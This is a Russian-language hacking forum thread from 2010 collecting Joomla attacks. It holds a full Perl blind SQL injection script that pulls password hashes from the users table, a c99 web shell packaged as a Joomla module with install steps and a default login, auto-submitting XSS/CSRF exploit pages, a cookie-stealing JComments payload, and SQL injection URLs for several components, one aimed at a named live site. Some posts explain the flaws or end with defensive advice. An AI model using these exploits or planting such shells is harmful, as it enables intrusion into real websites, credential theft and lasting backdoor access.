HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.01.2010, 15:59
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Бесполезная бага в Joomla или "логическая sql-инъекция"

Взглянем на скрипт \joomla\administrator\components\com_users\views\u sers\view.html.php.
Там есть такой участок:
PHP код:
        $query 'SELECT a.*, g.name AS groupname'
            
' FROM #__users AS a'
            
' INNER JOIN #__core_acl_aro AS aro ON aro.value = a.id'
            
' INNER JOIN #__core_acl_groups_aro_map AS gm ON gm.aro_id = aro.id'
            
' INNER JOIN #__core_acl_aro_groups AS g ON g.id = gm.group_id'
            
$filter
            
$where
            
' GROUP BY a.id'
            
$orderby
        

Выше определена переменная $orderby:
PHP код:
        $orderby ' ORDER BY '$filter_order .' '$filter_order_Dir
Причём переменные $filter_order и $filter_order_Dir определяются пользователем.
В админке во всех секциях есть hidden-поля в формах с этими переменными.
Что ж, подставим левые значения, например, asd и fgh соответственно: http://localhost/joomla/administrator/index.php?option=com_content&filter_order=asd&filt er_order_Dir=fgh
Получаем следующий ответ:
Код:
500 - An error has occurred! 

DB function failed with error number 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'fgh, section_name, cc.title, c.ordering LIMIT 0, 20' at line 1 SQL=SELECT c.*, g.name AS groupname, cc.title AS name, u.name AS editor, f.content_id AS frontpage, s.title AS section_name, v.name AS author FROM jos_content AS c LEFT JOIN jos_categories AS cc ON cc.id = c.catid LEFT JOIN jos_sections AS s ON s.id = c.sectionid LEFT JOIN jos_groups AS g ON g.id = c.access LEFT JOIN jos_users AS u ON u.id = c.checked_out LEFT JOIN jos_users AS v ON v.id = c.created_by LEFT JOIN jos_content_frontpage AS f ON f.content_id = c.id WHERE c.state != -2 ORDER BY asd fgh, section_name, cc.title, c.ordering LIMIT 0, 20
Как мы видим, наши значения попали в sql-запрос. Но они всё же фильтруются - большая часть спецзнаков не пропускается, разрешены, например, точки, поскольку они нужны в нормальном запросе.
Казалось бы, из такой "sql-инъекции" ничего кроме префикса таблиц не выжать.
Однако, просмотрим админку и увидим страницу управления пользователями: http://localhost/joomla/administrator/index.php?option=com_users
Вышеупомянутые параметры в этой секции используются для сортировки пользователей (подставляются в ORDER BY).
И тут внезапно: а что если отсортировать их по паролю?
Ну: http://localhost/joomla/administrator/index.php?option=com_users&filter_order=a.password
Теперь можно создать пользователя, сделать ему какой-то пароль, затем отсортировать на этой странице, и мы увидим, где по алфавиту находится хеш админа - выше или ниже хеша нашего пользователя.
Далее можно организовать бинарный поиск и вытащить весь хеш админа.
Конец.

P.S. Разумеется, эта бага в Joomla совершенно ничего не даёт, поскольку она в админке, а xsrf там нет. Я написал про неё лишь для того, чтобы показать саму возможность подобных атак. Такая ситуация может возникнуть, например, в форумном движке, где список пользователей может быть доступен каждому. Мораль: переменные надо не только фильтровать на спецсимволы, но и проверять введённые данные на логическую совместимость.

P.P.S. В vbulletin, например, скрипт memberlist.php ограничивает параметры для сортировки:
PHP код:
    switch ($sortfield)
    {
        case 
'username':
            
$sqlsort 'user.username';
            break;
        case 
'joindate':
            
$sqlsort 'user.joindate';
            break;
        case 
'posts':
            
$sqlsort 'user.posts';
            break;
        case 
'lastvisit':
            
$sqlsort 'lastvisittime';
            break;
        case 
'reputation':
            
$sqlsort iif($show['reputationcol'], 'reputationscore''user.username');
            
$secondarysortsql ', user.username';
            break;
        case 
'age':
            if (
$show['agecol'])
            {
                
$sqlsort 'agesort';
                
$secondarysortsql ', user.username';
            }
            else
            {
                
$sqlsort 'user.username';
            }
            break;
        default:
            
$sqlsort 'user.username';
            
$sortfield 'username';
    } 

Последний раз редактировалось Root-access; 06.01.2010 в 16:08..
 
Ответить с цитированием

Модуль шелла для joomla
  #2  
Старый 07.01.2010, 13:17
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию Модуль шелла для joomla

Может кому нить пригодится, сам много раз сталкивался с проблемами заливки шелла с админки из за кривых привилегии,
вот сделал простенький модуль mod_joomla_c99shell

1) Заходим в "Менеджер расширений" выбираем "Загрузить файл пакета" загружаем наш файл mod_joomla_c99shell.zip
2) После удачного инсталла переходим в папку http://site.ru/modules/mod_joomla_c99shell/mod_joomla_c99shell.php
3) Заходим на наш шелл логин fixer пароль antichat (после можете поменять все там на свое усмотрение)

Модуль шелла можете скачать тут тестировал на Joomla 1.5.14

Последний раз редактировалось shell_c0de; 07.01.2010 в 13:20..
 
Ответить с цитированием

  #3  
Старый 23.04.2010, 11:43
radcor
Новичок
Регистрация: 10.04.2008
Сообщений: 2
Провел на форуме:
799982

Репутация: 0
По умолчанию

Blind SQL Injection joomla component com_mytube (user_id)

PHP код:
#!/usr/bin/perl -w

#---------------------------------------------------------------------------------
#joomla component com_mytube (user_id) Blind SQL Injection Vulnerability
#---------------------------------------------------------------------------------

#Author         : Chip D3 Bi0s
#Group          : LatiHackTeam
#Email          : chipdebios[alt+64]gmail.com
#Date           : 15 September 2009
#Critical Lvl   : Moderate
#Impact            : Exposure of sensitive information
#Where            : From Remote
#---------------------------------------------------------------------------

#Affected software description:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#Application   : MyRemote Video Gallery
#version       : 1.0 Beta 
#Developer     : Jomtube Team
#License       : GPL            type  : Non-Commercial
#Date Added    : Aug 24, 2009
#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip
#Description   :

#MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x
#which will allow you to transform your Website into a professional looking Video
#Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery
#is an open source (GNU GPL) video sharing Joomla extension has been created
#specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.

#MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers
#the Framework so you can create your own Remote Plugins for other Remote Servers like
#Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to
#run your site for low cost since all the bandwidth usage and hard drive space is located
#on the video server sites. So if you already have a large library of Videos on some
#Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.

#---------------------------------------------------------------------------


#I.Blind SQL injection (user_id)
#Poc/Exploit:
#~~~~~~~~~~~
#http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null
#X: Valid User_id

#+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
#+++++++++++++++++++++++++++++++++++++++


use LWP::UserAgent;
use 
Benchmark;
my $t1 = new Benchmark;

system ('cls');
print 
"\n\n";
print 
"\t\t[+] ---------------------------------[+]\n";
print 
"\t\t|          |  Chip d3 Bi0s |          |\n";
print 
"\t\t|        MyRemote Video Gallery Bsql  | \n";
print 
"\t\t|joomla component com_mytube (user_id)| \n";
print 
"\t\t[+]----------------------------------[+]\n\n";


print 
"http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>);

$w="Total Videos In Category";
$column_name="concat(password)";
$table_name="jos_users";


$b LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

print 
"----------------Inyectando----------------\n";


  
$host $target "+and+1=1&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  if (
$content =~ /$regexp/) {

$host $target "+and+1=2&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  if (
$content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}

else

{print 
" [-] Vulnerable :)\n";

$d=0;


for (
$idusuario=62;$idusuario<=80;$idusuario++) 

{
                    
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;
 if (
$content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}

 }

 print 
" [+] Usuario existentes : "." ".join(',', @idusu) . "\n";

print  
" [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>);

for (
$x=1;$x<=32;$x++) 
    {

  
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  print 
" [!] ";if($x <= ) {print "0$x";}else{print $x;}
  if (
$content =~ /$regexp/)
  {
  
          for (
$c=97;$c<=102;$c++) 

{
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;


 if (
$content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=102;}
 }


  }
else
{

for (
$c=48;$c<=57;$c++) 

{
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;

 if (
$content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=57;}
 }


}

    }

print 
" [+] Password   :"." ".join('', @caracter) . "\n";

my $t2 = new Benchmark;
my $tt timediff($t2$t1);
print 
"El script tomo:",timestr($tt),"\n";

}
}

else

{print 
" [-] Exploit Fallo :(\n";} 
milw0rm.com [2009-09-21]
 
Ответить с цитированием

Список уязвимых плагинов
  #4  
Старый 08.01.2010, 02:23
4p3
Участник форума
Регистрация: 18.08.2008
Сообщений: 159
Провел на форуме:
750247

Репутация: 92
Отправить сообщение для 4p3 с помощью ICQ
По умолчанию Список уязвимых плагинов

Постоянно обновляющийся список уязвимых плагинов.
http://docs.joomla.org/Vulnerable_Extensions_List

Последний раз редактировалось 4p3; 08.01.2010 в 02:44..
 
Ответить с цитированием

From ROA
  #5  
Старый 11.01.2010, 01:09
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию From ROA

Joomla XSS

XSS присутствует в компоненте com_admin.

Уязвимая строчка в \joomla\administrator\components\com_admin\admin.a dmin.html.php:
PHP код:
<input type="text" name="helpsearch" value="<?php echo $helpsearch;?>" class="inputbox" />
Заходим на http://localhost/joomla/administrator/index.php?option=com_admin&task=help.
Там есть поле для поиска. Текст из него не htmlspecialchar-ится, но какая-то странная фильтрация есть.
Почему-то, если набрать, скажем, так: "><img src="blabla....., этот тег обрезается, то есть написать новый тег у меня не получилось.
Что ж, приходится обходиться свойствами тега <input>.
XSS в post-параметре админки, поэтому она не работала бы без XSRF.
Собственно, сплойт:

Код:
<html>
<body>
<form action="http://localhost/joomla/administrator/index.php?option=com_admin&amp;task=help" method="post" name="adminForm">
<input class="text_area" type="hidden" name="option" value="com_admin" />
<input type="text" name="helpsearch" value='" size="1000" onmouseover="alert()' class="inputbox" />
<input type="submit" value="Go" class="button" id="xsrf"/>
<input type="hidden" name="task" value="help" />
</form>
<script>document.getElementById("xsrf").click();</script>
</body>
</html>

В чём суть: я сделал так, чтобы поле поиска стало длинным, так что, если админ проведёт мышкой по экрану, сработает xss. Вероятность этого весьма велика.
 
Ответить с цитированием

  #6  
Старый 02.04.2010, 02:24
GivioN
Познающий
Регистрация: 30.03.2008
Сообщений: 64
Провел на форуме:
388255

Репутация: 15
По умолчанию

SQL Injection в стандартных компонентах
1) Joomla Component com_wrapper
Цитата:
+================================================= ==================================+
./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _
/ /_ _ _ _ / _ _\/ _ _ /\ \< |/_ _ _ _ /
\ \_ _ _ _/ /___ / / __ | |) / | | / /
\_ _ _ _/ /___ / / | __ || / | | / /
_______\ \_ _ \ \2_0_0_9 | \ | | / /____
/_ _ _ _ _\ _ _ _/\ _ _ _ / |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+================================================= ==================================+

[?] ~ Note : sEc-r1z CrEw# r0x !
================================================== ============================
[?] Joomla Component com_wrapper SQL Blind Injection Vulnerability
================================================== ============================
[?] My home: [ http://sec-r1z.com ]
[?] Script: [ Joomla Component com_wrapper ]
[?] Language: [ PHP ]
[?] Founder: [ ./Red-D3v1L ]
[?] Gr44tz to: [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
[?] Fuck To : [ Zombie_KsA << big big big L4m3r ]
################################################## ######################

===[ Exploit SQL ]===

[»]SQL : [Path]/index.php?option=com_wrapper&view=wrapper&Itemid==[inj3ct C0dE]

[»]dem0:

This True :

http://www.doubleclick.ps/index.php?option=com_wrapper&view=wrapper&Itemid=9 2%20and%201=0

This False :

http://www.doubleclick.ps/index.php?option=com_wrapper&view=wrapper&Itemid=9 2%20and%201=1

================================================== ============================

#sEc-r1z.com Str1kEz y0u !
2) com_weblinks
Цитата:
################################################## ###############
# Securitylab.ir
################################################## ###############
# Application Info:
# Name: Joomla Component com_weblinks
################################################## ###############
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
################################################## ###############
Vulnerability:
http://site.com/index.php?option=com_weblinks&task=view&catid=8&id =-1 UNION SELECT 1,2,3,4,5
################################################## ###############
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.securitylab.ir
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
################################################## #################
3) com_xmap
Цитата:
################################################## ###############
# Securitylab.ir
################################################## ###############
# Application Info:
# Name: Joomla Component com_xmap
################################################## ###############
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
################################################## ###############
Vulnerability:
http://site.com/index.php?option=com_xmap&sitemap=2&Itemid=18-1 UNION SELECT 1,2,3,version(),5,6,7,8--
################################################## ###############
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.securitylab.ir
 
Ответить с цитированием

  #7  
Старый 08.04.2010, 14:43
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Joomla XSS

XSS наподобии той, что в посте #103, но удобнее:

Код:
http://localhost/administrator/index.php?option=com_content&search=%22%20size=100%20onmouseover=alert()%20bla
Никаких CSRF и post не нужно
 
Ответить с цитированием

  #8  
Старый 11.04.2010, 18:07
NeoX
Познающий
Регистрация: 23.08.2008
Сообщений: 95
Провел на форуме:
585487

Репутация: 45
Отправить сообщение для NeoX с помощью ICQ
По умолчанию

товарищи, кто подскажет как узнать полную версию Joomla? вариант с configuration.php-dist не прокатит.
 
Ответить с цитированием

  #9  
Старый 17.04.2010, 18:20
[@p05]
Познающий
Регистрация: 20.04.2007
Сообщений: 49
Провел на форуме:
234777

Репутация: 44
По умолчанию

Цитата:
товарищи, кто подскажет как узнать полную версию Joomla? вариант с configuration.php-dist не прокатит.
Версию можно посмотреть в файле /includes/version.php
 
Ответить с цитированием

  #10  
Старый 27.05.2010, 13:33
lzr
Новичок
Регистрация: 01.01.2009
Сообщений: 27
Провел на форуме:
125085

Репутация: 31
По умолчанию

XSS vulnerability in JComments

Уязвимые верси: 2.1.0.0 [07/08/2009] и, возможно, ранние
Уведомление JoomlaTune.com: 4 Мая 2010
Тип уязвимости: XSS
Статус: исправлено JoomlaTune.com
Степень опасности: Средний
Детали уязвимости: пользователь может выполнить произвольный JS код в уязвимом приложении. Уязвимость возникает из-за неправильной идентификации пользователя в "admin.jcomments.php". Успешное проведение атаки с помощью данной уязвимости может привести к потере конфиденциальных данных и краже идентификационной информации в виде куков.

Атакующий может использовать браузер для проведения атаки:
Код:
<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@example.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>
Решение: обновление к более поздней версии

(c)http://securityvulns.ru/Xdocument887.html

Последний раз редактировалось lzr; 27.05.2010 в 13:47..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Уязвимости CMS / форумов 49 02.04.2015 17:48
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Cms Cawabunga PHP 20 05.08.2007 00:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ